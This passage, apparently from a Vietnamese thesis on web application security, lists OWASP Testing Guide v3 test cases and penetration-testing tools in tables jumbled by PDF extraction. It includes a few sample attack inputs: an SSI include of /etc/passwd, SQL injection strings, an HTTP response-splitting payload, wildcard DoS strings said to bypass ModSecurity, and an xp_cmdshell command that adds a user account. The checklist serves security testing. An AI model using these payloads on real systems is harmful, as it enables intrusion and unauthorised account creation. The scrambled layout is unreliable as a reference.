OWASP-SM-004
OWASP-SM-005

30
31
32

Testing for Path Traversal


Testing for bypassing authorization schema
Testing for Privilege Escalation

OWASP-AZ-001
OWASP-AZ-002
OWASP-AZ-003

33

Testing for business logic

OWASP-BL-001

34
35
36

Testing for Reflected Cross Site Scripting


Testing for Stored Cross Site Scripting
Testing for DOM based Cross Site Scripting

OWASP-DV-001
OWASP-DV-002
OWASP-DV-003

TESTING BUSINESS
AUTHORIZATION TESTING SESSION MANAGEMENT
AUTHENTICATION TESTING
LOGIC

21

63

OWASP-AT-007
OWASP-AT-008
OWASP-AT-009
OWASP-AT-010

AJAX
WEB SERVICES TESTING DENIAL OF SERVICE
DATA
TESTING
VALIDATION TESTING
TESTING

37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

Testing for Cross Site Flashing


SQL Injection
LDAP Injection
ORM Injection
XML Injection
SSI Injection
XPath Injection
IMAP/SMTP Injection
Code Injection
OS Commanding
Buffer overflow
Incubated vulnerability Testing
Testing for HTTP Splitting/Smuggling
Testing for SQL Wildcard Attacks
Locking Customer Accounts
Testing for DoS Buffer Overflows
User Specified Object Allocation
User Input as a Loop Counter
Writing User Provided Data to Disk
Failure to Release Resources
Storing too Much Data in Session

OWASP-DV-004
OWASP-DV-005
OWASP-DV-006
OWASP-DV-007
OWASP-DV-008
OWASP-DV-009
OWASP-DV-010
OWASP-DV-011
OWASP-DV-012
OWASP-DV-013
OWASP-DV-014
OWASP-DV-015
OWASP-DV-016
OWASP-DS-001
OWASP-DS-002
OWASP-DS-003
OWASP-DS-004
OWASP-DS-005
OWASP-DS-006
OWASP-DS-007
OWASP-DS-008

58
59
60
61
62
63
64

WS Information Gathering
Testing WSDL
XML Structural Testing
XML content-level Testing
HTTP GET parameters/REST Testing
Naughty SOAP attachments
Replay Testing

OWASP-WS-001
OWASP-WS-002
OWASP-WS-003
OWASP-WS-004
OWASP-WS-005
OWASP-WS-006
OWASP-WS-007

65

AJAX Vulnerabilities

OWASP-AJ-001

66

AJAX Testing

OWASP-AJ-002

64

DANH MC CNG C H TR KIM TRA BO MT NG DNG WEB


Tools

Category

OS

Wikto

Wind
ows

Nikto

Linux

Paros

Web App
Proxy

TamperIE

Data
Tampering

Nessus

Vulnerabil
ity Scanner

Wind
ows

Comments

Link
http://www.sensepo
st.com/research/wikto
/
http://www.nessus.
org

A Java based web proxy for assessing web


application vulnerability. It supports
editing/viewing HTTP/HTTPS messages on-the-fly
to change items such as cookies and form fields.
It includes a web traffic recorder, web spider,
hash calculator, and a scanner for testing
common web application attacks such as SQL
injection and cross-site scripting.
Enables HTML-form tampering for penetration
testing of web apps
The Nessus vulnerability scanner, is the worldleader in active scanners, featuring high speed
discovery, configuration auditing, asset profiling,
sensitive data discovery and vulnerability analysis
of your security posture. Nessus scanners can be
distributed throughout an entire enterprise, inside
DMZs, and across physically separate networks.

65

Nmap

Wget
e

SamSpad

Spike
Proxy
Xenu

Curl

OpenSSL

Web
Server
Assessment
Tool

Nmap ("Network Mapper") is a free and open


source (license) utility for network exploration or
security auditing. Many systems and network
administrators also find it useful for tasks such as
network inventory, managing service upgrade
schedules, and monitoring host or service uptime.
Nmap uses raw IP packets in novel ways to
determine what hosts are available on the
network, what services (application name and
version) those hosts are offering, what operating
systems (and OS versions) they are running, what
type of packet filters/firewalls are in use, and
dozens of other characteristics.

Web
Mirroring
Web
Spidering
Web
Crawler

Secure
FTP

Encryptio

curl is a command line tool for transferring files


with URL syntax, supporting FTP, FTPS, HTTP,
HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP,
LDAPS and FILE. curl supports SSL certificates,
HTTP POST, HTTP PUT, FTP uploading, HTTP form
based upload, proxies, cookies, user+password
authentication (Basic, Digest, NTLM, Negotiate,
kerberos...), file transfer resume, proxy tunneling
and a busload of other useful tricks.
Assess the strength of SSL servers by testing
66

http://curl.haxx.se/

n tools

BURP
Proxy

SSLDigge
r
HTTrack
HTTPrint

Web
Vulnerability
Scanners

Encryptio
n tools
Webserve
r
Fingerprinti
ng tool

the ciphers
Burp Proxy is an interactive HTTP/S proxy server
for attacking and testing web applications. It
operates as a man-in-the-middle between the end
browser and the target web server, and allows the
user to intercept, inspect and modify the raw
traffic passing in both directions.
Burp Proxy allows you to find and exploit
application vulnerabilities by monitoring and
manipulating critical parameters and other data
transmitted by the application. By modifying
browser requests in various malicious ways, Burp
Proxy can be used to perform attacks such as SQL
injection, cookie subversion, privilege escalation,
session hijacking, directory traversal and buffer
overflows.
SSLDigger v1.02 is a tool to assess the strength
of SSL servers by testing the ciphers supported.
Some of these ciphers are known to be insecure.
httprint is a web server fingerprinting tool. It
relies on web server characteristics to accurately
identify web servers, despite the fact that they
may have been obfuscated by changing the
server banner strings, or by plug-ins such as
mod_security or servermask. httprint can also be
used to detect web enabled devices which do not
have a server banner string, such as wireless
access points, routers, switches, cable modems,
etc. httprint uses text signature strings and it is
67

very easy to add signatures to the signature


database

Webscara
b

Web
Vulnerability
Analysis

WebScarab is a framework for analysing


applications that communicate using the HTTP
and HTTPS protocols. It is written in Java, and is
thus portable to many platforms. WebScarab has
several modes of operation, implemented by a
number of plugins. In its most common usage,
WebScarab operates as an intercepting proxy,
allowing the operator to review and modify
requests created by the browser before they are
sent to the server, and to review and modify
responses returned from the server before they
are received by the browser. WebScarab is able to
intercept both HTTP and HTTPS communication.

Foundsto
ne Cookie
Digger
DANH MC THAM KHO KHAI THC L HNG BO MT NG DNG WEB
Catego
ry
Inform
ation
Gatherin

Ref.
Number
IG-001

Test
Name
Spiders,
Robots and
Crawlers

Vulne
rability
N.A.

Comment

Tests

Tools

s
Analyze Robots with Google
Webmaster,
68

HTTrack,Wikt
o/Nikto

IG-002

Search
Engine
Discovery/R
econnaissa
nce

N.A.

IG-003

Identify
application
entry points

N.A.

IG-004

Testing
for Web
Application
Fingerprint
Applicatio
n Discovery

N.A.

WebServe
r Details
Enumeration

N.A.

find
Applications
hosted in
the
webserver,
non
standard
ports,

IG-005

IG-006

Configu
CM
ration
001
Manage

Analysis
of Error
Codes
SSL/TLS
Testing (SSL
Version,

Informatio
n obtained
with help of
Search
Engines

Search google with various


google dorks

Identify form parameters,


methods
HTTP Header analysis

Inform
Grab
ation
information
Disclosur disclosed in
e
error codes
SSL W
eakness
69

Analyse the HTTP headers

Google for subdomain


discovery, Network Tools

Request random page, Login


Failed, Remove/add request
parameters,Denied dir listing,
Create network issues
Identify SSL service, ciphers,
analyse certificate expiry

Goolag
scanner,
Google
Hacking db
(Johny),
Goolge, Kartoo
Paros,
Webscarab,
Tamper IE,
Tamper Data
HTTP Print,
NetCraft
nMap,telnet,
nessus,
host, Netcraft
Search DNS se
rvice, DNS
Stuff Reverse
IP Lookup,
nslookup,
wikto
Software
Proxies, Wikto
nMap,
Nessus,
OpenSSL,

ment
Testing

CM
002

CM
003

CM
004

Algorithms,
Key length,
Digital Cert.
Validity) SSL
Weakness
DB
Listener
Testing - DB
Listener
weak
Infrastruc
ture
Configuratio
n
Managemen
t Testing Infrastructu
re
Configuratio
n
manageme
nt
weakness
Applicatio
n
Configuratio
n
Managemen
t Testing -

SSLDigger

DB List
For
ener wea Intranet
k
sites

Stop Listener - DOS Attack,


Hijack DB (reset pass), Info
leakage (log rewrite), Info on
Listener, DB & App Config

Infrast
ructure
Configur
ation ma
nageme
nt weakn
ess

Config
managemen
t for
webserver
software,
back-end
database
servers,
auth
servers.

Understand the infrastructure


elements interactions, Admin
tools review, Ports used, Version
check.

Applic
ation Co
nfigurati
on mana
gement
weaknes

Make sure
that all the
configuratio
n guidelines
are followed

Only enable server modules,


Handle Server errors
(40*,50*),Minimal Privilege,
Software Logging, Overload
Handling against DOS (Logs
purging check), Log review

70

Integrigy
lsnrcheck,
LSNRCTL, TNS
Listener

CM
005

CM
006

Application s
Configuratio
n
manageme
nt
weakness
Testing
File ex
for File
tensions
Extensions
handling
Handling File
extensions
handling

Old,
backup and
unreference
d files - Old,
backup and
unreference
d files

Determini
ng how web
servers hand
le requests c
orrespondin
g to files hav
ing different
extensions
may help to
understand
web server b
ehaviour de
pending on t
he kind of fil
es we try to
access(.asa,
.inc, .db)
Old, b
Accessing
ackup an and
d unrefer downloading
enced fil the backup
es
files which
can escape
the file
71

Spidering, Googling, Crawling,


Manual Inspection

Curl, wget,
web mirroring
tool, Nessus,
Nikto

Check for On-the-fly backup


files created, Check comments,
Check JS source code, Random
guessing of filename, Directory
Listing, Search cached files

HTTrack,Wikt
o/Nikto,
Goolag, Spike
Proxy

restrictions

Authen
tication
Testing

CM
007

Infrastruc
ture and
Application
Admin
Interfaces Access to
Admin
interfaces

CM
008

Testing
for HTTP
Methods
and XST HTTP
Methods
enabled,
XST
permitted,
HTTP Verb
Credentia
ls transport
over an
encrypted
channel -

AT-001

Access
Try to
to Admin exploit the
interface admin
s
functions
such as User
Allocation,
Site
design/layou
t, Data
manipulatio
n, Configs
HTTP
Methods
enabled,
XST per
mitted,
HTTP Ver
b

Directory and file


enumeration, Comments and
links in source, Reviewing server
and application docs, Alternative
server port, Parameter
tampering, Seperation of duties
check

Disable PUT, DELETE,


CONNECT, TRACE can be
checked by using OPTIONS
command, XST Testing- Inject JS
with Trace comman, XSRF Testcheck for HEAD /request

Netcat,
TamperIE,
Webscarab etc

Crede
ntials tra
nsport o
ver an e
ncrypted

Check referrer whether its


HTTP or HTTPS, Check the
method used

Wireshark,
Proxy

72

Webscarab,

AT-002

Credentials
transport
over an
encrypted
channel
Testing
for user
enumeratio
n - User
enumeratio
n

AT-003

Testing
for
Guessable
(Dictionary)
User
Account Guessable
user
account

AT-004

Brute
Force
Testing Credentials

channel

User e
Enumerat
numerati e all possible
on
valid userids
by
interacting
with the
authenticati
on
mechanism
of the
application
Guess
able use
r accoun
t

Crede
ntials Br
ute forci
ng
73

Generic login error statement


check, return codes/parameter
values,Page Titles,Recovery
msg, Userid guessing,

Default username and


passwords check, App name as
userid,name of app
contacts,another account
userid/email, js
source,parameters,comments,us
ername /password
generation,password policy
check,source code - harcoded
pass check, Config files check
Dictionary, Search, Rule-Based
(pswd masks) Bruteforce attacks

Webscarab

Brutus, THC
Hydra, Burp
Intruder, Cain
& Abel

Brutus, THC
Hydra, Burp
Intruder, Cain
& Abel, John

Brute
forcing
AT-005

AT-006

Testing
for
bypassing
authenticati
on schema Bypassing
authenticati
on schema
Testing
for
vulnerable
remember
password
and pwd
reset Vulnerable
remember
password,
weak pwd
reset

Bypas
sing aut
henticati
on sche
ma

Vulner
able rem
ember p
assword,
weak pw
d reset

Forward Browsing, Param


Modification,Session ID
Predication (Session Hijacking),
SQL Injection

Understan
d the
password
reset
procedure,
the secret
questions
asked etc

74

Secret qns asked?,strength of


secret qns,no of qns,no of
password reset
attempts,whether new password
is emailed to primary emailid
check. Should not cache the
passwords (remember me),
Passwords stored in permanent
coookies should be hashed.
Autocomplete Off enabled.

the Ripper,
OPHCRACK,
Rainbow Tables
Webscarab

AT-007

AT-008

Testing
for Logout
and
Browser
Cache
Managemen
t - - Logout
function not
properly
implemente
d, browser
cache
weakness
Testing
for
CAPTCHA Weak
Captcha
implementa
tion

Logout
function
not prop
erly impl
emented
, browser
cache w
eakness

Session
timeout,
Logout etc
implemente
d

Weak
Captcha
impleme
ntation

Completel
y Automated
Public Turing

75

HTTP.Session.invalidate()-Java,
Java.Session.abandon()-.Net
implemented. Press back
button/reload check,check
presense of logout btns in all
page, User browser closed
instead of session invalidate
check,insert Set-Cookie check,
Time out interval, Timeout not
by client check,Modify the
session expiration time at
clientside, Check META CacheControlin HTML,
CAPTCHA Image Complexity,
Set of possible
answers,Analysing the return
encrypted Captcha code,
identify the parameters, Reuse
the session id of known
CAPTCHA, Send old CAPTCHA
value with old ID,Send old
decoded CAPTCHA value with
old session id

Webscarab,
Add N Edit
Cookies

CAPTCHA
Decoders
-PWNtcha,The
Captcha
Breaker,
Captcha
Decoder,
Online Captcha
Decoder.

AT-009

Testing
Multiple
Factors
Authenticati
on - Weak
Multiple
Factors
Authenticati
on

Weak
Multiple
Factors A
uthentic
ation

Onetime
password (O
TP) generato
r token.
Grid Card,
Scratch Card
, or any infor
mation that
only the legi
timate user i
s supposed t
o have in his
wallet
Crypto devi
ces like USB
tokens or sm
art cards, eq
uipped with
X.509 certifi
cates.
Randomly
generated O
TPs transmit
ted through
a GSM SMS
messages [S
MSOTP]

76

AT-010

Session
SMManage
001
ment

Testing
for Race
Conditions Race
Conditions
vulnerabilit
y

Race C
A race con
onditions dition is a fla
vulnerab w that produ
ility
ces an unex
pected resul
t when the ti
ming of acti
ons impact o
ther actions.
An example
may be seen
on a multithr
eaded applic
ation where
actions are b
eing perform
ed on the sa
me data. Ra
ce condition
s, by their
very nature,
are difficult t
o test for
Testing
Bypas
CookieColl
for Session
sing Ses ection,Cooki
Managemen sion Man eReverseEn
t Schema agement gineering,Co
Bypassing
Schema, okieManipul
Session
Weak Se ation.
Managemen ssion Tok
77

Make multiple simultaneous re


quests while
observing the outcome for unex
pected behavior, Manual Code
Review

Unencrypted Cookie
Transport,Presence of persistent
cookies,Cache-Control Settings,
SessionID Analysis-SensitiveInfo,
Randomness, Cryptanalysis,
BruteForce

Webscarab,B
urpProxy,
FoundStone
Cookie Digger

SM002

SM003

SM004

t Schema,
Weak
Session
Token

en

Testing
for Cookies
attributes Cookies are
set not
HTTP Only,
Secure,
and no time
validity
Testing
for Session
Fixation Session
Fixation

Cookie
s are set
not HTT
P Only,
Secure,
and no ti
me validi
ty

Testing
for Exposed
Session
Variables Exposed
sensitive
session

Expos
ed sensit
ive sessi
on varia
bles

Sessio
n Fixatio
n

";secure",
HTTPOnly - Always set,
"; domain=app.mysite.com",
"; path=/myapp/",
expires-Future Value => inspect
for sensitive data

The
application
doesnt
renew the
cookie after
auth
-Session
hijacking

Webscarab

Encryption & Reuse of Session


Tokens vulnerabilities,
Proxies & Caching vulnerabilities
,TGET & POST vulnerabilities, Tra
nsport vulnerabilities

78

Webscarab,B
urpProxy,Paros
,
TamperIE/Data

variables

SM005
Authori
zation
Testing

Testing
for CSRF CSRF
AZ-001
Testing
for Path
Traversal Path
Traversal
AZ-002

Testing
for
bypassing
authorizatio
n schema Bypassing
authorizatio
n schema

CSRF
Path Tr
aversal

URL Analysis and auth


requirements.
Proper
Implementat
ion of ACLs,
Check
server side
includes

Bypas
sing aut
horizatio
n
schema

79

a) Input vector enumeration


b) Testing Techniques
dot-dot-slash attack (../),
directory traversal,directory
climbing, or backtracking
Access a resource without
authentication/after logout,
Forceful Browsing

Grep, Nikto,
Burp Suite,
Paros,
Webscarab

AZ-003

Testing
for Privilege
Escalation Privilege
Escalation

Privile
ge Escal
ation

vertical es
Testing for role/privilege mani
calation whe pulatio - Manipulate the values
n it is possib of hidden variables , analyse the
le to access
error messages etc
resources gr
anted to mo
re privileged
accounts (e.
g.,
acquiring ad
ministrative
privileges fo
r the applica
tion), and to
horizontal es
calation whe
n it is possib
le to access
resources
granted to a
similarly con
figured acco
unt (e.g., in
an online ba
nking applic
ation, acces
sing informa
tion related t
o a different
user).
80

Proxy Tools

Busine
ss logic
testing

BL-001

Testing
Bypas
for Business sable bu
Logic siness
Bypassable logic
business
logic

Data
Validatio
n Testing

DV-001

Testing
for
Reflected
Cross Site
Scripting Reflected
XSS

DV-002

Testing
for Stored
Cross Site
Scripting Stored XSS

Bypass
the actual
workflow
required to
complete a
process

Reflect
Check for
ed XSS
input
validation,
try out
different
combination
s of XSS
vectors
Stored
Impacts
XSS
*Hijacking a
nother user'
s browser
*Capturing s
ensitive info
rmation vie
wed by appli
cation users
*Pseudo def
acement of t
he applicatio
n
*Port scanni
81

*Understanding the applicatio


n
*Creating raw data for designing
logical tests (Workflows, ACLs)
*Designing the logical tests
*Standard prerequisites
*Execution of logical tests
1. Detect input vectors.
2. Analyze each input vector to d
etect potential vulnerabilities
3. Replace the vector used to
identify XSS with the vector
which can exploit the
vulnerability.
1.Input Forms
2.Analyze HTML code
3.Leverage Stored XSS with BeE
F
4.File Upload

Automated
tools fails

CAL9000,
Rsnake XSSdb,
XSSMe firefox
addon, XSS
proxy,
WebScarab,
Rat proxy, Burp
Proxy
CAL9000,
Hackvertor,
XSSProxy,
BeEF,
WebScarab

ng of interna
l hosts ("inte
rnal" in relat
ion to the us
ers of the w
eb applicatio
n)
*Directed de
livery of bro
wserbased
exploits
*Other malic
ious activitie
s
DV-003
Testing
DOM X
This
for DOM
SS
happens
based Cross
mostly due
Site
to poor
Scripting javascript
DOM XSS
coding.
DV-004
Testing
Cross
Working
for Cross
Site Flas for
Site
hing
actionscript
Flashing 2.0 files
Cross Site
Flashing

82

Test for the user


inputs obtained from clientside J
avaScript objects

Automated
tools fails

1.Decompile
2.Undefined Variables
3.Unsafe methods
4.Include malicious SWF

SWFIntruder,
Flare, Flasm

DV-005

SQL
Injection SQL
Injection

DV-006

LDAP
Injection LDAP
Injection

DV-007

ORM
Injection ORM
Injection

SQL Inj
1.Inband
ection
(retrieved
data in the
webpage)
2.Out-ofband (data
sent through
email or
other
means)
3.Inferential
(Analyse the
behaviour of
Dbserver)
LDAP I
njection

ORM I
njection

Object
Relational
Mapping
tool. ORM
tools include
Hibernate
for Java,
NHibernate
for .NET,
83

Test Categories
1.Authentication Forms,
2.Search Engine,
3.E-Commerce sites
Tests
1.Heuristic Analysis(' , : , --)
2.Construct SQL Injection
Vectors
3.Analyse Error Messages

Ability to
Access unauthorized content
Evade Application restrictions
Gather unauthorized
information
Add or modify Objects inside
LDAP tree structure.
Black box testing for ORM
Injection vulnerabilities is
identical to SQL Injection testing

OWASP
SQLiX
SQL Power
Injector
sqlbftools
sqlmap
SqlDumper
sqlninja

Softerra
LDAP Browser

ActiveRecor
d for Ruby
on Rails,
EZPDO for
PHP and
many
others.
DV-008

XML
XML In
Injection jection
XML
Injection
DV-009
SSI
SSI Inj
Injection ection
SSI Injection

Check with XML Meta


Characters
', " , <>, <!--/-->, &, <![CDATA[ /
]]>,
* Presense of .shtml extension
* Check for these characters
< ! # = / . " - > and [a-zA-Z0-9]
* include String = <!--#include
virtual="/etc/passwd" -->

DV-010

* Check for XML error


enumeration by supplying a
single quote (')
* Username: ' or '1' = '1
Password: ' or '1' = '1

XPath
Injection XPath
Injection

XPath I
Unlike
njection
SQL,
there are
not ACLs
enforced, as
our query
can access
every part of
the XML
document

84

Burp Suit,
WebScarab,
Paros

DV-011

DV-012

IMAP/SMT
P Injection IMAP/SMTP
Injection

Code
Injection Code
Injection
DV-013
OS
Commandin
g - OS
Commandin
g

IMAP/S
MTP Inje
ction

Exploitation of vulnerabilities
in the IMAP/SMTP protocol
Application restrictions evasion
Anti-automation process
evasion
Information leaks
Relay/SPAM

Code I
njection

The standard attack patterns


are:
Identifying vulnerable
parameters
Understanding the data flow
and deployment structure of the
client
IMAP/SMTP command injection
Enter commands in the input
field

OS Co
mmandi
ng

Understand the application


platform, OS, folder structure,
relative path and execute those

85

Webscarab

DV-014

DV-015

Buffer
overflow Buffer
overflow

Incubated
vulnerabilit
yIncubated
vulnerabilit
y
DV-016
Testing
for HTTP
Splitting/Sm
uggling HTTP
Splitting,
Smuggling

Buffer
overflow

Testing
for heap
overflow
vulnerability
Testing for
stack
overflow
vulnerability
Testing for
format
string
vulnerability

Incuba
ted vuln
erability

File Upload, Stored XSS ,


SQL/XPATH Injection, Manage
server files via server misconfigs

HTTP S
Outcome plitting,
Cache
Smuggli Poisoning/XS
ng
S

param=foobar%0d
%0aContent-Length:
%200%0d%0a%0d
%0aHTTP/1.1%20200%20OK
%0d%0aContentType:%20text/html%0d
%0aContent-Length:
%2035%0d%0a%0d
%0a<html>Sorry,%20System
%20Down</html>

86

OllyDbg,
Spike, Brute
Force Binary
Tester (BFB),
Metasploit.
RATS,
Flawfinder and
ITS4 are
available for
analyzing Cstyle
languages
XSS-proxy,
Paros, Burp,
Metasploit

Denial
of
Service
Testing

DS-001

Testing
for SQL
Wildcard
Attacks SQL
Wildcard
vulnerabilit
y

DS-002

Locking
Customer
Accounts Locking
Customer
Accounts

SQL Wi
Starting
ldcard
with % and
vulnerab ending with
ility
% will
generally
cause longer
running
queries.
Some
search
implementat
ions may
cache
search
results.
During the
testing,
every search
query should
be slightly
different to
avoid this.
Lockin
g Custo
mer
Accounts

87

'%_[^!_%/%a?F%_D)_(F%)_
%([)({}%){()}$&N%_)$*()
$*R"_)][%](%[x])%a][$*"$-9]_
%'
'%64_[^!_%65/%aa?F
%64_D)_(F%64)_%36([)({}%33)
{()}$&N%55_)$*()$*R"_)]
[%55](%66[x])%ba
][$*"$-9]_%54' bypasses
modsecurity
_[r/a)_ _(r/b)_ _(r-d)_

%n[^n]y[^j]l[^k]d[^l]h[^z]t[^k
]b[^q]t[^q][^n]!%

%_[aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa[! -z]@$!_%

Wrong Attempts
Valid Username enumeration Login Page, New User Reg Page,
Password Reset Page

DS-003

Testing
for DoS
Buffer
Overflows Buffer
Overflows

Buffer
Overflow
s

DS-004

User
Specified
Object
Allocation User
Specified
Object
Allocation

User S
pecified
Object Al
location

if you
have
received a
response (or
a lack of)
that makes
you believe
that the
overflow has
occurred,
attempt to
make
another
request to
the server
and see if it
still
responds.

Submit large inputs and check


how the server responds

If the
application does not pose an
upper limit to the number of
items that can be in any given
moment inside the user
electronic
cart, you can write an
automated script that keeps
adding items to the user cart
until the cart object fills the
server
memory.
88

DS-005

User
Input as a
Loop
Counter User Input
as a Loop
Counter
DS-006
Writing
User
Provided
Data to Disk
- Writing
User
Provided
Data to Disk

User In
put as a
Loop Co
unter

if the user can directly or


indirectly assign a value that will
be
used as a counter in a loop
function, this can cause
performance problems on the
server.
1. The tester submits an
extremely long value to the
server in the request, and the
application logs the value
directly
without having validated that it
conforms to what was expected.
2. The application may have
data validation to verify the
submitted value being well
formed and of proper length, but
then still log the failed value (for
auditing or error tracking
purposes) into an application
log.

Writin
g User Pr
ovided D
ata to Di
sk

89

DS-007

Failure to
Release
Resources Failure to
Release
Resources

Failure
to Releas
e Resour
ces

An application locks a file for


writing, and then an exception
occurs but does not explicitly
close and unlock the file
Memory leaking in languages
where the developer is
responsible for memory
management such as C & C++.
In the
case where an error causes
normal logic flow to be
circumvented, the allocated
memory may not be removed
and
may be left in such a state that
the garbage collector does not
know it should be reclaimed
Use of DB connection objects
where the objects are not being
freed if an exception is thrown. A
number of such
repeated requests can cause the
application to consume all the
DB connections, as the code will
still hold the open
DB object, never releasing the
resource.

90

DS-008

Web
Services
Testing

WS001

Storing
too Much
Data in
Session Storing too
Much Data
in Session

Storin
g too Mu
ch Data i
n Sessio
n

WS
Information
Gathering N.A.

N.A.

curl
--request
POST
--header
Contenttype:
text/xml
--data
@my_reques
t.xml
91

The developer may have


chosen
to cache the records in the
session instead of returning to
the database for the next block
of data. If this is suspected,
create a script to automate the
creation of many new sessions
with the server and run the
request that is suspected of
caching the data within the
session for each one. Let the
script run for a while, and then
observe the responsiveness of
the
application for new sessions. It
may be possible that a Virtual
Machine (VM) or even the server
itself will begin to run out of
memory because of this attack.
* inurl:wsdl site:example.com
* Web Services Discovery DISCO,
UDDI
* http://seekda.com
* http://www.wsindex.org
* http://www.soapclient.com

Net Square
wsPawn,
SOAPClient4XG
, CURL, Perl SOAPlite,
OWASP
WebScarab:
Web Services
plugin,
WSDigger

http://api.go
ogle.com/se
arch/beta2

WS002
WS003

WS004

WS005

Testing
WSDL WSDL
Weakness
XML
Structural
Testing Weak XML
Structure

WSDL
Weaknes
s

XML
contentlevel Testing
- XML
contentlevel
HTTP GET
parameters/
REST
Testing - WS

XML c
ontentlevel

WebScarab,
WSDigger

Weak
XML Stru
cture

* A web service utilizing DOMbased parsing can be "upset" by


including a very large payload in
the XML message, which the
parser would be obliged to parse
* Binary attachments - Large
BLOB
* WSDigger contains sample
attack plug-ins for SQL injection,
XSS, XPATH injection attacks
1) SQL Injection or XPath
injection
2) Buffer Overflow and
3) Command Injection.

WS HT
TP GET p
aramete
rs/REST

https://www.ws.com/accountin
fo?accountnumber=12039475'
exec master..xp_cmdshell 'net
user Vxr
92

WebScarab,
WSDigger

WebScarab,
MetaSploit

HTTP GET
parameters/
REST
WS006

WS007
Ajax
Testing

AJ-001

AJ-002

pass /Add
&userId=asi9485jfuhe92

Naughty
SOAP
attachment
s - WS
Naughty
SOAP
attachment
s
Replay
Testing - WS
Replay
Testing
AJAX
Vulnerabiliti
es - N.A.

WS Na
ughty SO
AP attac
hments

Attach a test virus attachment


using a non-destructive virus like
EICAR, to a SOAP message and
post to the target Web
Service.

WS Re
play Test
ing

Capture the Traffic with


sniffers/proxy and replay the
request

AJAX
Testing AJAX

AJAX
weaknes
s

N.A.

* XMLHttpRequest
Vulnerabilitie, SQL Injectio, XSS,
DOM based XSS, JSON/XML/XSLT
Injection
* AJAX Bridging - Cross website
requests are sent through this
method
* Cross Site Request Forgery
(CSRF)
* DOS - Multiple
XMLHttpRequests
Parse the HTML and JavaScript
files and
using a proxy to observe traffic.
93

WebScarab,
Ethreal,
WireShark,
TCPReplay

Proxy tools,
Firebug
OWASP Sprajax

weakness

94

XIII.

TI LIU THAM KHO


Ristic, Ivan. Modsecurity Handbook: The Complete Guide to the Popular
Open Source Web Application Firewall. S.l.: Feisty Duck, 2010. Web
Barnett, Ryan. The Web Application Defender's Cookbook: Battling Hackers
and Protecting Users. Indianapolis, Ind: Wiley, 2013.
"ModSecurity Reference Manual." Reference Manual. Trustwave Holdings,
Inc., n.d. Web. <https://github.com/SpiderLabs/ModSecurity/wiki/ReferenceManual>.
OWASP Testing Guide . 3rd ed. N.p.: OWASP Foundation, n.d. OWASP
Testing Guide V3. 2010. Web.
<https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf>.

"OWASP Based Web Application Security Testing Checklist." OWASP Based


Web Application Security Testing Checklist. N.p., 19 Oct. 2011. Web.
<https://code.google.com/p/owasp-testing-checklist/>

95

You might also like